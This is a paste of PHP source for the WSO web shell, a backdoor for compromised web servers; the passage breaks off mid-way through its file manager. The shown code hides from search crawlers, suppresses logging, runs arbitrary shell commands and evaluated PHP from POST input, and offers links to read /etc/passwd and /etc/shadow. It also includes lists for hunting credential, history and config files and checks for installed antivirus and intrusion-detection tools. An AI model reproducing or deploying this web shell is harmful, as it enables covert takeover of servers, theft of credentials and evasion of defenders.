· 8 years ago · Oct 16, 2017, 03:44 AM
1<?php
2$pass = "1a6ce0aba2a1b3829a936b66f6cf68d3";
3$color = "#df5";
4$default_action = 'fm';
5$default_use_ajax = true;
6$default_charset = 'Windows-1251';
7
8if(!empty($_SERVER['HTTP_USER_AGENT'])) {
9 $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
10 if(@preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
11 header('HTTP/1.0 404 Not Found');
12 exit;
13 }
14}
15
16if(!empty($_SERVER['HTTP_REFERER']) && !empty($_SERVER['SERVER_NAME'])) {
17 if(!strpos($_SERVER['HTTP_REFERER'], $_SERVER['SERVER_NAME'])) {
18 header('HTTP/1.0 404 Not Found');
19 exit;
20 }
21}
22
23@ini_set('error_log',NULL);
24@ini_set('log_errors',0);
25@ini_set('max_execution_time',0);
26@set_time_limit(0);
27if(version_compare(phpversion(), '5.4.0', '<'))
28 @set_magic_quotes_runtime(0);
29@define('WSO_VERSION', 'X');
30
31if(get_magic_quotes_gpc()) {
32 function WSOstripslashes($array) {
33 return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
34 }
35 $_POST = WSOstripslashes($_POST);
36 $_COOKIE = WSOstripslashes($_COOKIE);
37}
38
39function wsoLogin() {
40 die("<form method=post><input type=password name=pw><input type=submit value='>>'></form>");
41}
42
43function WSOsetcookie($k, $v) {
44 $_COOKIE[$k] = $v;
45 setcookie($k, $v);
46}
47
48if(!empty($pass)) {
49 if(isset($_POST['pw']) && (md5($_POST['pw']) == $pass))
50 WSOsetcookie(md5($_SERVER['HTTP_HOST']), $pass);
51
52 if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $pass))
53 wsoLogin();
54}
55
56if(strtolower(substr(PHP_OS,0,3)) == "win")
57 $os = 'win';
58else
59 $os = 'nix';
60
61$safe_mode = @ini_get('safe_mode');
62if(!$safe_mode)
63 error_reporting(0);
64
65$disable_functions = @ini_get('disable_functions');
66$home_cwd = @getcwd();
67if(isset($_POST['c']))
68 @chdir($_POST['c']);
69$cwd = @getcwd();
70if($os == 'win') {
71 $home_cwd = str_replace("\\", "/", $home_cwd);
72 $cwd = str_replace("\\", "/", $cwd);
73}
74if($cwd[strlen($cwd)-1] != '/')
75 $cwd .= '/';
76
77if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
78 $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;
79
80if($os == 'win')
81 $aliases = array(
82 "List Directory" => "dir",
83 "Find index.php in current dir" => "dir /s /w /b index.php",
84 "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
85 "Show active connections" => "netstat -an",
86 "Show running services" => "net start",
87 "User accounts" => "net user",
88 "Show computers" => "net view",
89 "ARP Table" => "arp -a",
90 "IP Configuration" => "ipconfig /all"
91 );
92else
93 $aliases = array(
94 "List dir" => "ls -lha",
95 "list file attributes on a Linux second extended file system" => "lsattr -va",
96 "show opened ports" => "netstat -an | grep -i listen",
97 "process status" => "ps aux",
98 "Find" => "",
99 "find all suid files" => "find / -type f -perm -04000 -ls",
100 "find suid files in current dir" => "find . -type f -perm -04000 -ls",
101 "find all sgid files" => "find / -type f -perm -02000 -ls",
102 "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
103 "find config.inc.php files" => "find / -type f -name config.inc.php",
104 "find config* files" => "find / -type f -name \"config*\"",
105 "find config* files in current dir" => "find . -type f -name \"config*\"",
106 "find all writable folders and files" => "find / -perm -2 -ls",
107 "find all writable folders and files in current dir" => "find . -perm -2 -ls",
108 "find all service.pwd files" => "find / -type f -name service.pwd",
109 "find service.pwd files in current dir" => "find . -type f -name service.pwd",
110 "find all .htpasswd files" => "find / -type f -name .htpasswd",
111 "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
112 "find all .bash_history files" => "find / -type f -name .bash_history",
113 "find .bash_history files in current dir" => "find . -type f -name .bash_history",
114 "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
115 "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
116 "Locate" => "",
117 "locate httpd.conf files" => "locate httpd.conf",
118 "locate vhosts.conf files" => "locate vhosts.conf",
119 "locate proftpd.conf files" => "locate proftpd.conf",
120 "locate psybnc.conf files" => "locate psybnc.conf",
121 "locate my.conf files" => "locate my.conf",
122 "locate admin.php files" =>"locate admin.php",
123 "locate cfg.php files" => "locate cfg.php",
124 "locate conf.php files" => "locate conf.php",
125 "locate config.dat files" => "locate config.dat",
126 "locate config.php files" => "locate config.php",
127 "locate config.inc files" => "locate config.inc",
128 "locate config.inc.php" => "locate config.inc.php",
129 "locate config.default.php files" => "locate config.default.php",
130 "locate config* files " => "locate config",
131 "locate .conf files"=>"locate '.conf'",
132 "locate .pwd files" => "locate '.pwd'",
133 "locate .sql files" => "locate '.sql'",
134 "locate .htpasswd files" => "locate '.htpasswd'",
135 "locate .bash_history files" => "locate '.bash_history'",
136 "locate .mysql_history files" => "locate '.mysql_history'",
137 "locate .fetchmailrc files" => "locate '.fetchmailrc'",
138 "locate backup files" => "locate backup",
139 "locate dump files" => "locate dump",
140 "locate priv files" => "locate priv"
141 );
142
143function wsoHeader() {
144 if(empty($_POST['ch']))
145 $_POST['ch'] = $GLOBALS['default_charset'];
146 global $color;
147 echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['ch'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO" . WSO_VERSION ."</title>
148<style>
149body{background-color:#444;color:#e1e1e1;}
150body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
151table.info{ color:#fff;background-color:#222; }
152span,h1,a{ color: $color !important; }
153span{ font-weight: bolder; }
154h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
155div.content{ padding: 5px;margin-left:5px;background-color:#333; }
156a{ text-decoration:none; }
157a:hover{ text-decoration:underline; }
158.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
159.bigarea{ width:100%;height:300px; }
160input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
161form{ margin:0px; }
162#toolsTbl{ text-align:center; }
163.toolsInp{ width: 300px }
164.main th{text-align:left;background-color:#5e5e5e;}
165.main tr:hover{background-color:#5e5e5e}
166.l1{background-color:#444}
167.l2{background-color:#333}
168pre{font-family:Courier,Monospace;}
169</style>
170<script>
171 var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
172 var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
173 var ch_ = '" . htmlspecialchars(@$_POST['ch']) ."';
174 var p_ = '" . ((strpos(@$_POST['p'],"\n")!==false)?'':htmlspecialchars($_POST['p'],ENT_QUOTES)) ."';
175 var x_ = '" . ((strpos(@$_POST['x'],"\n")!==false)?'':htmlspecialchars($_POST['x'],ENT_QUOTES)) ."';
176 var s_ = '" . ((strpos(@$_POST['s'],"\n")!==false)?'':htmlspecialchars($_POST['s'],ENT_QUOTES)) ."';
177 var d = document;
178 function set(a,c,p,x,s,ch) {
179 if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
180 if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
181 if(p!=null)d.mf.p.value=p;else d.mf.p.value=p_;
182 if(x!=null)d.mf.x.value=x;else d.mf.x.value=x_;
183 if(s!=null)d.mf.s.value=s;else d.mf.s.value=s_;
184 if(ch!=null)d.mf.ch.value=ch;else d.mf.ch.value=ch_;
185 }
186 function g(a,c,p,x,s,ch) {
187 set(a,c,p,x,s,ch);
188 d.mf.submit();
189 }
190 function a(a,c,p,x,s,ch) {
191 set(a,c,p,x,s,ch);
192 var params = 'ajax=true';
193 for(i=0;i<d.mf.elements.length;i++)
194 params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
195 sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
196 }
197 function sr(url, params) {
198 if (window.XMLHttpRequest)
199 req = new XMLHttpRequest();
200 else if (window.ActiveXObject)
201 req = new ActiveXObject('Microsoft.XMLHTTP');
202 if (req) {
203 req.onreadystatechange = processReqChange;
204 req.open('POST', url, true);
205 req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
206 req.send(params);
207 }
208 }
209 function processReqChange() {
210 if( (req.readyState == 4) )
211 if(req.status == 200) {
212 var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
213 var arr=reg.exec(req.responseText);
214 eval(arr[2].substr(0, arr[1]));
215 } else alert('Request error!');
216 }
217</script>
218<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
219<form method=post name=mf style='display:none;'>
220<input type=hidden name=a>
221<input type=hidden name=c>
222<input type=hidden name=p>
223<input type=hidden name=x>
224<input type=hidden name=s>
225<input type=hidden name=ch>
226</form>";
227 $freeSpace = @diskfreespace($GLOBALS['cwd']);
228 $totalSpace = @disk_total_space($GLOBALS['cwd']);
229 $totalSpace = $totalSpace?$totalSpace:1;
230 $release = @php_uname('r');
231 $kernel = @php_uname('s');
232 $explink = 'https://www.exploit-db.com/search/?action=search&g-recaptcha-response=&q=';
233 if(strpos('Linux', $kernel) !== false)
234 $explink .= urlencode('Linux Kernel ' . substr($release,0,6));
235 else
236 $explink .= urlencode($kernel . ' ' . substr($release,0,3));
237 if(!function_exists('posix_getegid')) {
238 $user = @get_current_user();
239 $uid = @getmyuid();
240 $gid = @getmygid();
241 $group = "?";
242 } else {
243 $uid = @posix_getpwuid(posix_geteuid());
244 $gid = @posix_getgrgid(posix_getegid());
245 $user = $uid['name'];
246 $uid = $uid['uid'];
247 $group = $gid['name'];
248 $gid = $gid['gid'];
249 }
250
251 //if (@mb_detect_encoding($user, 'Windows-1251')) {
252 // $user = @iconv('Windows-1251', 'UTF-8', $user);
253 //}
254
255 $cwd_links = '';
256 $path = explode("/", $GLOBALS['cwd']);
257 $n=count($path);
258 for($i=0; $i<$n-1; $i++) {
259 $cwd_links .= "<a href='#' onclick='g(\"fm\",\"";
260 for($j=0; $j<=$i; $j++)
261 $cwd_links .= $path[$j].'/';
262 $cwd_links .= "\")'>".$path[$i]."/</a>";
263 }
264
265 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
266 $opt_charsets = '';
267 foreach($charsets as $item)
268 $opt_charsets .= '<option value="'.$item.'" '.($_POST['ch']==$item?'selected':'').'>'.$item.'</option>';
269
270 $m = array('Sec. Info'=>'si','Files'=>'fm','Console'=>'ce','Sql'=>'Sql','Php'=>'Php','String tools'=>'st','Bruteforce'=>'bf','Network'=>'Network');
271 if(!empty($GLOBALS['pass']))
272 $m['Logout'] = 'Logout';
273 $m['Self remove'] = 'SelfRemove';
274 $menu = '';
275 foreach($m as $k => $v)
276 $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
277
278 $drives = "";
279 if($GLOBALS['os'] == 'win') {
280 foreach(range('c','z') as $drive)
281 if(is_dir($drive.':\\'))
282 $drives .= '<a href="#" onclick="g(\'fm\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
283 }
284 echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
285 . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>')
286 . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'fm\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
287 . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
288 . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
289}
290
291function wsoFooter() {
292 $is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
293 echo "
294</div>
295<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
296 <tr>
297 <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
298 <td><form onsubmit=\"g('ft',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
299 </tr><tr>
300 <td><form onsubmit=\"g('fm',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
301 <td><form onsubmit=\"g('ft',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
302 </tr><tr>
303 <td><form onsubmit=\"g('ce',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
304 <td><form method='post' ENCTYPE='multipart/form-data'>
305 <input type=hidden name=a value='fm'>
306 <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
307 <input type=hidden name=p value='uploadFile'>
308 <input type=hidden name=ch value='" . (isset($_POST['ch'])?$_POST['ch']:'') . "'>
309 <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
310 </tr></table></div></body></html>";
311}
312
313if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
314 function posix_getpwuid($p) {return false;} }
315if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
316 function posix_getgrgid($p) {return false;} }
317
318function wsoEx($in) {
319 $out = '';
320 if (function_exists('exec')) {
321 @exec($in,$out);
322 $out = @join("\n",$out);
323 } elseif (function_exists('passthru')) {
324 ob_start();
325 @passthru($in);
326 $out = ob_get_clean();
327 } elseif (function_exists('system')) {
328 ob_start();
329 @system($in);
330 $out = ob_get_clean();
331 } elseif (function_exists('shell_exec')) {
332 $out = shell_exec($in);
333 } elseif (is_resource($f = @popen($in,"r"))) {
334 $out = "";
335 while(!@feof($f))
336 $out .= fgets($f,1024);
337 pclose($f);
338 }
339 return $out;
340}
341
342function wsoViewSize($s) {
343 if (is_int($s))
344 $s = sprintf("%u", $s);
345
346 if($s >= 1073741824)
347 return sprintf('%1.2f', $s / 1073741824 ). ' GB';
348 elseif($s >= 1048576)
349 return sprintf('%1.2f', $s / 1048576 ) . ' MB';
350 elseif($s >= 1024)
351 return sprintf('%1.2f', $s / 1024 ) . ' KB';
352 else
353 return $s . ' B';
354}
355
356function wsoPerms($p) {
357 if (($p & 0xC000) == 0xC000)$i = 's';
358 elseif (($p & 0xA000) == 0xA000)$i = 'l';
359 elseif (($p & 0x8000) == 0x8000)$i = '-';
360 elseif (($p & 0x6000) == 0x6000)$i = 'b';
361 elseif (($p & 0x4000) == 0x4000)$i = 'd';
362 elseif (($p & 0x2000) == 0x2000)$i = 'c';
363 elseif (($p & 0x1000) == 0x1000)$i = 'p';
364 else $i = 'u';
365 $i .= (($p & 0x0100) ? 'r' : '-');
366 $i .= (($p & 0x0080) ? 'w' : '-');
367 $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
368 $i .= (($p & 0x0020) ? 'r' : '-');
369 $i .= (($p & 0x0010) ? 'w' : '-');
370 $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
371 $i .= (($p & 0x0004) ? 'r' : '-');
372 $i .= (($p & 0x0002) ? 'w' : '-');
373 $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
374 return $i;
375}
376
377function wsoPermsColor($f) {
378 if (!@is_readable($f))
379 return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
380 elseif (!@is_writable($f))
381 return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
382 else
383 return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
384}
385
386function wsoScandir($dir) {
387 if(function_exists("scandir")) {
388 return scandir($dir);
389 } else {
390 $dh = opendir($dir);
391 while (false !== ($filename = readdir($dh)))
392 $files[] = $filename;
393 return $files;
394 }
395}
396
397function wsoWhich($p) {
398 $path = wsoEx('which ' . $p);
399 if(!empty($path))
400 return $path;
401 return false;
402}
403
404function actionsi() {
405 wsoHeader();
406 echo '<h1>Server security information</h1><div class=content>';
407 function wsoSecParam($n, $v) {
408 $v = trim($v);
409 if($v) {
410 echo '<span>' . $n . ': </span>';
411 if(strpos($v, "\n") === false)
412 echo $v . '<br>';
413 else
414 echo '<pre class=ml1>' . $v . '</pre>';
415 }
416 }
417
418 wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
419 if(function_exists('apache_get_modules'))
420 wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
421 wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
422 wsoSecParam('Open base dir', @ini_get('open_basedir'));
423 wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
424 wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
425 wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
426 $temp=array();
427 if(function_exists('mysql_get_client_info'))
428 $temp[] = "MySql (".mysql_get_client_info().")";
429 if(function_exists('mssql_connect'))
430 $temp[] = "MSSQL";
431 if(function_exists('pg_connect'))
432 $temp[] = "PostgreSQL";
433 if(function_exists('oci_connect'))
434 $temp[] = "Oracle";
435 wsoSecParam('Supported databases', implode(', ', $temp));
436 echo '<br>';
437
438 if($GLOBALS['os'] == 'nix') {
439 wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"ft\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
440 wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"ft\", \"/etc/\", \"shadow\")'>[view]</a>":'no');
441 wsoSecParam('OS version', @file_get_contents('/proc/version'));
442 wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
443 if(!$GLOBALS['safe_mode']) {
444 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
445 $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
446 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
447 echo '<br>';
448 $temp=array();
449 foreach ($userful as $item)
450 if(wsoWhich($item))
451 $temp[] = $item;
452 wsoSecParam('Userful', implode(', ',$temp));
453 $temp=array();
454 foreach ($danger as $item)
455 if(wsoWhich($item))
456 $temp[] = $item;
457 wsoSecParam('Danger', implode(', ',$temp));
458 $temp=array();
459 foreach ($downloaders as $item)
460 if(wsoWhich($item))
461 $temp[] = $item;
462 wsoSecParam('Downloaders', implode(', ',$temp));
463 echo '<br/>';
464 wsoSecParam('HDD space', wsoEx('df -h'));
465 wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
466 echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
467 if (isset ($_POST['x'], $_POST['s']) && is_numeric($_POST['x']) && is_numeric($_POST['s'])) {
468 $temp = "";
469 for(;$_POST['x'] <= $_POST['s'];$_POST['x']++) {
470 $uid = @posix_getpwuid($_POST['x']);
471 if ($uid)
472 $temp .= join(':',$uid)."\n";
473 }
474 echo '<br/>';
475 wsoSecParam('Users', $temp);
476 }
477 }
478 } else {
479 wsoSecParam('OS Version',wsoEx('ver'));
480 wsoSecParam('Account Settings',wsoEx('net accounts'));
481 wsoSecParam('User Accounts',wsoEx('net user'));
482 }
483 echo '</div>';
484 wsoFooter();
485}
486
487function actionPhp() {
488 if(isset($_POST['ajax'])) {
489 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
490 ob_start();
491 eval($_POST['p']);
492 $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
493 echo strlen($temp), "\n", $temp;
494 exit;
495 }
496 if(empty($_POST['ajax']) && !empty($_POST['p']))
497 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
498
499 wsoHeader();
500 if(isset($_POST['x']) && ($_POST['x'] == 'info')) {
501 echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
502 ob_start();
503 phpinfo();
504 $tmp = ob_get_clean();
505 $tmp = preg_replace(array (
506 '!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',
507 '!td, th {(.*)}!msiU',
508 '!<img[^>]+>!msiU',
509 ), array (
510 '',
511 '.e, .v, .h, .h th {$1}',
512 ''
513 ), $tmp);
514 echo str_replace('<h1','<h2', $tmp) .'</div><br>';
515 }
516 echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p'])?htmlspecialchars($_POST['p']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
517 echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p'])?'display:none;':'').'margin-top:5px;" class=ml1>';
518 if(!empty($_POST['p'])) {
519 ob_start();
520 eval($_POST['p']);
521 echo htmlspecialchars(ob_get_clean());
522 }
523 echo '</pre></div>';
524 wsoFooter();
525}
526
527function actionfm() {
528 if (!empty ($_COOKIE['f']))
529 $_COOKIE['f'] = @unserialize($_COOKIE['f']);
530
531 if(!empty($_POST['p'])) {
532 switch($_POST['p']) {
533 case 'uploadFile':
534 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
535 echo "Can't upload file!";
536 break;
537 case 'mkdir':
538 if(!@mkdir($_POST['x']))
539 echo "Can't create new dir";
540 break;
541 case 'delete':
542 function deleteDir($path) {
543 $path = (substr($path,-1)=='/') ? $path:$path.'/';
544 $dh = opendir($path);
545 while ( ($item = readdir($dh) ) !== false) {
546 $item = $path.$item;
547 if ( (basename($item) == "..") || (basename($item) == ".") )
548 continue;
549 $type = filetype($item);
550 if ($type == "dir")
551 deleteDir($item);
552 else
553 @unlink($item);
554 }
555 closedir($dh);
556 @rmdir($path);
557 }
558 if(is_array(@$_POST['f']))
559 foreach($_POST['f'] as $f) {
560 if($f == '..')
561 continue;
562 $f = urldecode($f);
563 if(is_dir($f))
564 deleteDir($f);
565 else
566 @unlink($f);
567 }
568 break;
569 case 'paste':
570 if($_COOKIE['act'] == 'copy') {
571 function copy_paste($c,$s,$d){
572 if(is_dir($c.$s)){
573 mkdir($d.$s);
574 $h = @opendir($c.$s);
575 while (($f = @readdir($h)) !== false)
576 if (($f != ".") and ($f != ".."))
577 copy_paste($c.$s.'/',$f, $d.$s.'/');
578 } elseif(is_file($c.$s))
579 @copy($c.$s, $d.$s);
580 }
581 foreach($_COOKIE['f'] as $f)
582 copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
583 } elseif($_COOKIE['act'] == 'move') {
584 function move_paste($c,$s,$d){
585 if(is_dir($c.$s)){
586 mkdir($d.$s);
587 $h = @opendir($c.$s);
588 while (($f = @readdir($h)) !== false)
589 if (($f != ".") and ($f != ".."))
590 copy_paste($c.$s.'/',$f, $d.$s.'/');
591 } elseif(@is_file($c.$s))
592 @copy($c.$s, $d.$s);
593 }
594 foreach($_COOKIE['f'] as $f)
595 @rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
596 } elseif($_COOKIE['act'] == 'zip') {
597 if(class_exists('ZipArchive')) {
598 $zip = new ZipArchive();
599 if ($zip->open($_POST['x'], 1)) {
600 chdir($_COOKIE['c']);
601 foreach($_COOKIE['f'] as $f) {
602 if($f == '..')
603 continue;
604 if(@is_file($_COOKIE['c'].$f))
605 $zip->addFile($_COOKIE['c'].$f, $f);
606 elseif(@is_dir($_COOKIE['c'].$f)) {
607 $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/', FilesystemIterator::SKIP_DOTS));
608 foreach ($iterator as $key=>$value) {
609 $zip->addFile(realpath($key), $key);
610 }
611 }
612 }
613 chdir($GLOBALS['cwd']);
614 $zip->close();
615 }
616 }
617 } elseif($_COOKIE['act'] == 'unzip') {
618 if(class_exists('ZipArchive')) {
619 $zip = new ZipArchive();
620 foreach($_COOKIE['f'] as $f) {
621 if($zip->open($_COOKIE['c'].$f)) {
622 $zip->extractTo($GLOBALS['cwd']);
623 $zip->close();
624 }
625 }
626 }
627 } elseif($_COOKIE['act'] == 'tar') {
628 chdir($_COOKIE['c']);
629 $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
630 wsoEx('tar cfzv ' . escapeshellarg($_POST['x']) . ' ' . implode(' ', $_COOKIE['f']));
631 chdir($GLOBALS['cwd']);
632 }
633 unset($_COOKIE['f']);
634 setcookie('f', '', time() - 3600);
635 break;
636 default:
637 if(!empty($_POST['p'])) {
638 WSOsetcookie('act', $_POST['p']);
639 WSOsetcookie('f', serialize(@$_POST['f']));
640 WSOsetcookie('c', @$_POST['c']);
641 }
642 break;
643 }
644 }
645 wsoHeader();
646 echo '<h1>File manager</h1><div class=content><script>p_=x_=s_="";</script>';
647 $dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
648 if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; }
649 global $sort;
650 $sort = array('name', 1);
651 if(!empty($_POST['p'])) {
652 if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p'], $match))
653 $sort = array($match[1], (int)$match[2]);
654 }
655echo "<script>
656 function sa() {
657 for(i=0;i<d.files.elements.length;i++)
658 if(d.files.elements[i].type == 'checkbox')
659 d.files.elements[i].checked = d.files.elements[0].checked;
660 }
661</script>
662<table width='100%' class='main' cellspacing='0' cellpadding='2'>
663<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"fm\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"fm\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"fm\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"fm\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
664 $dirs = $files = array();
665 $n = count($dirContent);
666 for($i=0;$i<$n;$i++) {
667 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
668 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
669 $tmp = array('name' => $dirContent[$i],
670 'path' => $GLOBALS['cwd'].$dirContent[$i],
671 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
672 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
673 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
674 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
675 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
676 );
677 if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
678 $files[] = array_merge($tmp, array('type' => 'file'));
679 elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
680 $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
681 elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i]))
682 $dirs[] = array_merge($tmp, array('type' => 'dir'));
683 }
684 $GLOBALS['sort'] = $sort;
